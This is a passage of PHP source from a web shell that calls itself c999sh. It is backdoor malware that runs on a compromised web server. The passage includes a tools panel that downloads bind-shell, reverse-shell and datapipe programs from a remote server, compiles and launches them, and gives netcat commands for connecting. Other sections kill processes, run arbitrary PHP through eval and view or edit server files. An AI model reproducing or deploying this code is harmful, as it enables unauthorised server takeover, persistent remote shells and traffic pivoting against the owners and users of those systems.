  4152.  
  4153.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  4154.  
  4155.  <script>
  4156.  
  4157.  function ls_setcheckboxall(status)
  4158.  
  4159.  {
  4160.  
  4161.   var id = 1;
  4162.  
  4163.   var num = ".(count($table)-2).";
  4164.  
  4165.   while (id <= num)
  4166.  
  4167.   {
  4168.  
  4169.    document.getElementById('actbox'+id).checked = status;
  4170.  
  4171.    id++;
  4172.  
  4173.   }
  4174.  
  4175.  }
  4176.  
  4177.  function ls_reverse_all()
  4178.  
  4179.  {
  4180.  
  4181.   var id = 1;
  4182.  
  4183.   var num = ".(count($table)-2).";
  4184.  
  4185.   while (id <= num)
  4186.  
  4187.   {
  4188.  
  4189.    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  4190.  
  4191.    id++;
  4192.  
  4193.   }
  4194.  
  4195.  }
  4196.  
  4197.  </script>
  4198.  
  4199.  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  4200.  
  4201.  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  4202.  
  4203.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  4204.  
  4205.   {
  4206.  
  4207.    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  4208.  
  4209.   }
  4210.  
  4211.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  4212.  
  4213.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  4214.  
  4215.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  4216.  
  4217.   if ($usefsbuff)
  4218.  
  4219.   {
  4220.  
  4221.    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  4222.  
  4223.    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  4224.  
  4225.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  4226.  
  4227.   }
  4228.  
  4229.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  4230.  
  4231.   echo "</form>";
  4232.  
  4233.  }
  4234.  
  4235. }
  4236.  
  4237. if ($act == "tools")
  4238.  
  4239. {
  4240.  
  4241.  $bndportsrcs = array(
  4242.  
  4243.   "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"),
  4244.  
  4245.   "c999sh_bindport.c"=>array("Using C","%path %port %pass")
  4246.  
  4247.  );
  4248.  
  4249.  $bcsrcs = array(
  4250.  
  4251.   "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  4252.  
  4253.   "c999sh_backconn.c"=>array("Using C","%path %host %port")
  4254.  
  4255.  );
  4256.  
  4257.  $dpsrcs = array(
  4258.  
  4259.   "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
  4260.  
  4261.   "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
  4262.  
  4263.  );
  4264.  
  4265.  if (!is_array($bind)) {$bind = array();}
  4266.  
  4267.  if (!is_array($bc)) {$bc = array();}
  4268.  
  4269.  if (!is_array($datapipe)) {$datapipe = array();}
  4270.  
  4271.  
  4272.  
  4273.  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  4274.  
  4275.  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  4276.  
  4277.  
  4278.  
  4279.  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
  4280.  
  4281.  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
  4282.  
  4283.  
  4284.  
  4285.  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
  4286.  
  4287.  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
  4288.  
  4289.  if (!empty($bindsubmit))
  4290.  
  4291.  {
  4292.  
  4293.   echo "<b>Result of binding port:</b><br>";
  4294.  
  4295.   $v = $bndportsrcs[$bind["src"]];
  4296.  
  4297.   if (empty($v)) {echo "Unknown file!<br>";}
  4298.  
  4299.   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  4300.  
  4301.   else
  4302.  
  4303.   {
  4304.  
  4305.    $w = explode(".",$bind["src"]);
  4306.  
  4307.    $ext = $w[count($w)-1];
  4308.  
  4309.    unset($w[count($w)-1]);
  4310.  
  4311.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  4312.  
  4313.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  4314.  
  4315.    if ($ext == "pl") {$binpath = $srcpath;}
  4316.  
  4317.    @unlink($srcpath);
  4318.  
  4319.    $fp = fopen($srcpath,"ab+");
  4320.  
  4321.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  4322.  
  4323.    elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";}
  4324.  
  4325.    else
  4326.  
  4327.    {
  4328.  
  4329.     fwrite($fp,$data,strlen($data));
  4330.  
  4331.     fclose($fp);
  4332.  
  4333.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  4334.  
  4335.     $v[1] = str_replace("%path",$binpath,$v[1]);
  4336.  
  4337.     $v[1] = str_replace("%port",$bind["port"],$v[1]);
  4338.  
  4339.     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  4340.  
  4341.     $v[1] = str_replace("//","/",$v[1]);
  4342.  
  4343.     $retbind = myshellexec($v[1]." > /dev/null &");
  4344.  
  4345.     sleep(5);
  4346.  
  4347.     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  4348.  
  4349.     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  4350.  
  4351.     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  4352.  
  4353.    }
  4354.  
  4355.    echo "<br>";
  4356.  
  4357.   }
  4358.  
  4359.  }
  4360.  
  4361.  if (!empty($bcsubmit))
  4362.  
  4363.  {
  4364.  
  4365.   echo "<b>Result of back connection:</b><br>";
  4366.  
  4367.   $v = $bcsrcs[$bc["src"]];
  4368.  
  4369.   if (empty($v)) {echo "Unknown file!<br>";}
  4370.  
  4371.   else
  4372.  
  4373.   {
  4374.  
  4375.    $w = explode(".",$bc["src"]);
  4376.  
  4377.    $ext = $w[count($w)-1];
  4378.  
  4379.    unset($w[count($w)-1]);
  4380.  
  4381.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  4382.  
  4383.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  4384.  
  4385.    if ($ext == "pl") {$binpath = $srcpath;}
  4386.  
  4387.    @unlink($srcpath);
  4388.  
  4389.    $fp = fopen($srcpath,"ab+");
  4390.  
  4391.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  4392.  
  4393.    elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";}
  4394.  
  4395.    else
  4396.  
  4397.    {
  4398.  
  4399.     fwrite($fp,$data,strlen($data));
  4400.  
  4401.     fclose($fp);
  4402.  
  4403.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  4404.  
  4405.     $v[1] = str_replace("%path",$binpath,$v[1]);
  4406.  
  4407.     $v[1] = str_replace("%host",$bc["host"],$v[1]);
  4408.  
  4409.     $v[1] = str_replace("%port",$bc["port"],$v[1]);
  4410.  
  4411.     $v[1] = str_replace("//","/",$v[1]);
  4412.  
  4413.     $retbind = myshellexec($v[1]." > /dev/null &");
  4414.  
  4415.     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
  4416.  
  4417.    }
  4418.  
  4419.   }
  4420.  
  4421.  }
  4422.  
  4423.  if (!empty($dpsubmit))
  4424.  
  4425.  {
  4426.  
  4427.   echo "<b>Result of datapipe-running:</b><br>";
  4428.  
  4429.   $v = $dpsrcs[$datapipe["src"]];
  4430.  
  4431.   if (empty($v)) {echo "Unknown file!<br>";}
  4432.  
  4433.   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  4434.  
  4435.   else
  4436.  
  4437.   {
  4438.  
  4439.    $srcpath = $tmpdir.$datapipe["src"];
  4440.  
  4441.    $w = explode(".",$datapipe["src"]);
  4442.  
  4443.    $ext = $w[count($w)-1];
  4444.  
  4445.    unset($w[count($w)-1]);
  4446.  
  4447.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  4448.  
  4449.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  4450.  
  4451.    if ($ext == "pl") {$binpath = $srcpath;}
  4452.  
  4453.    @unlink($srcpath);
  4454.  
  4455.    $fp = fopen($srcpath,"ab+");
  4456.  
  4457.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  4458.  
  4459.    elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";}
  4460.  
  4461.    else
  4462.  
  4463.    {
  4464.  
  4465.     fwrite($fp,$data,strlen($data));
  4466.  
  4467.     fclose($fp);
  4468.  
  4469.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  4470.  
  4471.     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
  4472.  
  4473.     $v[1] = str_replace("%path",$binpath,$v[1]);
  4474.  
  4475.     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
  4476.  
  4477.     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
  4478.  
  4479.     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
  4480.  
  4481.     $v[1] = str_replace("//","/",$v[1]);
  4482.  
  4483.     $retbind = myshellexec($v[1]." > /dev/null &");
  4484.  
  4485.     sleep(5);
  4486.  
  4487.     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
  4488.  
  4489.     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
  4490.  
  4491.     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
  4492.  
  4493.    }
  4494.  
  4495.    echo "<br>";
  4496.  
  4497.   }
  4498.  
  4499.  }
  4500.  
  4501.  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  4502.  
  4503.  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  4504.  
  4505.  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
  4506.  
  4507. <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  4508.  
  4509. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  4510.  
  4511. ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
  4512.  
  4513. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  4514.  
  4515. <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
  4516.  
  4517. foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  4518.  
  4519. ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
  4520.  
  4521. }
  4522.  
  4523. if ($act == "processes")
  4524.  
  4525. {
  4526.  
  4527.  echo "<b>Processes:</b><br>";
  4528.  
  4529.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  4530.  
  4531.  else {$handler = "tasklist";}
  4532.  
  4533.  $ret = myshellexec($handler);
  4534.  
  4535.  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  4536.  
  4537.  else
  4538.  
  4539.  {
  4540.  
  4541.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  4542.  
  4543.   $parsesort = parsesort($processes_sort);
  4544.  
  4545.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  4546.  
  4547.   $k = $parsesort[0];
  4548.  
  4549.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4550.  
  4551.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4552.  
  4553.   $ret = htmlspecialchars($ret);
  4554.  
  4555.   if (!$win)
  4556.  
  4557.   {
  4558.  
  4559.    if ($pid)
  4560.  
  4561.    {
  4562.  
  4563.     if (is_null($sig)) {$sig = 9;}
  4564.  
  4565.     echo "Sending signal ".$sig." to #".$pid."... ";
  4566.  
  4567.     if (posix_kill($pid,$sig)) {echo "OK.";}
  4568.  
  4569.     else {echo "ERROR.";}
  4570.  
  4571.    }
  4572.  
  4573.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  4574.  
  4575.    $stack = explode("\n",$ret);
  4576.  
  4577.    $head = explode(" ",$stack[0]);
  4578.  
  4579.    unset($stack[0]);
  4580.  
  4581.    for($i=0;$i<count($head);$i++)
  4582.  
  4583.    {
  4584.  
  4585.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  4586.  
  4587.    }
  4588.  
  4589.    $prcs = array();
  4590.  
  4591.    foreach ($stack as $line)
  4592.  
  4593.    {
  4594.  
  4595.     if (!empty($line))
  4596.  
  4597. {
  4598.  
  4599.  echo "<tr>";
  4600.  
  4601.      $line = explode(" ",$line);
  4602.  
  4603.      $line[10] = join(" ",array_slice($line,10));
  4604.  
  4605.      $line = array_slice($line,0,11);
  4606.  
  4607.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  4608.  
  4609.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  4610.  
  4611.      $prcs[] = $line;
  4612.  
  4613.      echo "</tr>";
  4614.  
  4615.     }
  4616.  
  4617.    }
  4618.  
  4619.   }
  4620.  
  4621.   else
  4622.  
  4623.   {
  4624.  
  4625.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4626.  
  4627.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4628.  
  4629.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4630.  
  4631.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4632.  
  4633.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4634.  
  4635.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4636.  
  4637.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4638.  
  4639.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4640.  
  4641.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  4642.  
  4643.    while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  4644.  
  4645.    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4646.  
  4647.    $ret = convert_cyr_string($ret,"d","w");
  4648.  
  4649.    $stack = explode("\n",$ret);
  4650.  
  4651.    unset($stack[0],$stack[2]);
  4652.  
  4653.    $stack = array_values($stack);
  4654.  
  4655.    $head = explode("",$stack[0]);
  4656.  
  4657.    $head[1] = explode(" ",$head[1]);
  4658.  
  4659.    $head[1] = $head[1][0];
  4660.  
  4661.    $stack = array_slice($stack,1);
  4662.  
  4663.    unset($head[2]);
  4664.  
  4665.    $head = array_values($head);
  4666.  
  4667.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4668.  
  4669.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4670.  
  4671.    if ($k > count($head)) {$k = count($head)-1;}
  4672.  
  4673.    for($i=0;$i<count($head);$i++)
  4674.  
  4675.    {
  4676.  
  4677.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  4678.  
  4679.    }
  4680.  
  4681.    $prcs = array();
  4682.  
  4683.    foreach ($stack as $line)
  4684.  
  4685.    {
  4686.  
  4687.     if (!empty($line))
  4688.  
  4689.     {
  4690.  
  4691.      echo "<tr>";
  4692.  
  4693.      $line = explode("",$line);
  4694.  
  4695.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  4696.  
  4697.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  4698.  
  4699.      $prcs[] = $line;
  4700.  
  4701.      echo "</tr>";
  4702.  
  4703.     }
  4704.  
  4705.    }
  4706.  
  4707.   }
  4708.  
  4709.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  4710.  
  4711.   $v = $processes_sort[0];
  4712.  
  4713.   usort($prcs,"tabsort");
  4714.  
  4715.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  4716.  
  4717.   $tab = array();
  4718.  
  4719.   $tab[] = $head;
  4720.  
  4721.   $tab = array_merge($tab,$prcs);
  4722.  
  4723.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  4724.  
  4725.   foreach($tab as $i=>$k)
  4726.  
  4727.   {
  4728.  
  4729.    echo "<tr>";
  4730.  
  4731.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  4732.  
  4733.    echo "</tr>";
  4734.  
  4735.   }
  4736.  
  4737.   echo "</table>";
  4738.  
  4739.  }
  4740.  
  4741. }
  4742.  
  4743. if ($act == "eval")
  4744.  
  4745. {
  4746.  
  4747.  if (!empty($eval))
  4748.  
  4749.  {
  4750.  
  4751.   echo "<b>Result of execution this PHP-code</b>:<br>";
  4752.  
  4753.   $tmp = ob_get_contents();
  4754.  
  4755.   $olddir = realpath(".");
  4756.  
  4757.   @chdir($d);
  4758.  
  4759.   if ($tmp)
  4760.  
  4761.   {
  4762.  
  4763.    ob_clean();
  4764.  
  4765.    eval($eval);
  4766.  
  4767.    $ret = ob_get_contents();
  4768.  
  4769.    $ret = convert_cyr_string($ret,"d","w");
  4770.  
  4771.    ob_clean();
  4772.  
  4773.    echo $tmp;
  4774.  
  4775.    if ($eval_txt)
  4776.  
  4777.    {
  4778.  
  4779.     $rows = count(explode("\r\n",$ret))+1;
  4780.  
  4781.     if ($rows < 10) {$rows = 10;}
  4782.  
  4783.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  4784.  
  4785.    }
  4786.  
  4787.    else {echo $ret."<br>";}
  4788.  
  4789.   }
  4790.  
  4791.   else
  4792.  
  4793.   {
  4794.  
  4795.    if ($eval_txt)
  4796.  
  4797.    {
  4798.  
  4799.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  4800.  
  4801.     eval($eval);
  4802.  
  4803.     echo "</textarea>";
  4804.  
  4805.    }
  4806.  
  4807.    else {echo $ret;}
  4808.  
  4809.   }
  4810.  
  4811.   @chdir($olddir);
  4812.  
  4813.  }
  4814.  
  4815.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  4816.  
  4817.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  4818.  
  4819. }
  4820.  
  4821. if ($act == "f")
  4822.  
  4823. {
  4824.  
  4825.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  4826.  
  4827.  {
  4828.  
  4829.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  4830.  
  4831.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  4832.  
  4833.  }
  4834.  
  4835.  else
  4836.  
  4837.  {
  4838.  
  4839.   $r = @file_get_contents($d.$f);
  4840.  
  4841.   $ext = explode(".",$f);
  4842.  
  4843.   $c = count($ext)-1;
  4844.  
  4845.   $ext = $ext[$c];
  4846.  
  4847.   $ext = strtolower($ext);
  4848.  
  4849.   $rft = "";
  4850.  
  4851.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  4852.  
  4853.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  4854.  
  4855.   if (empty($ft)) {$ft = $rft;}
  4856.  
  4857.   $arr = array(
  4858.  
  4859.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  4860.  
  4861.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  4862.  
  4863.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  4864.  
  4865.    array("Code","code"),
  4866.  
  4867.    array("Session","phpsess"),
  4868.  
  4869.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  4870.  
  4871.    array("SDB","sdb"),
  4872.  
  4873.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  4874.  
  4875.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  4876.  
  4877.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  4878.  
  4879.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  4880.  
  4881.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  4882.  
  4883.   );
  4884.  
  4885.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  4886.  
  4887.   foreach($arr as $t)
  4888.  
  4889.   {
  4890.  
  4891.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  4892.  
  4893.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  4894.  
  4895.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  4896.  
  4897.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  4898.  
  4899.   }
  4900.  
  4901.   echo "<hr size=\"1\" noshade>";
  4902.  
  4903.   if ($ft == "info")
  4904.  
  4905.   {
  4906.  
  4907.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  4908.  
  4909.    if (!$win)
  4910.  
  4911.    {
  4912.  
  4913.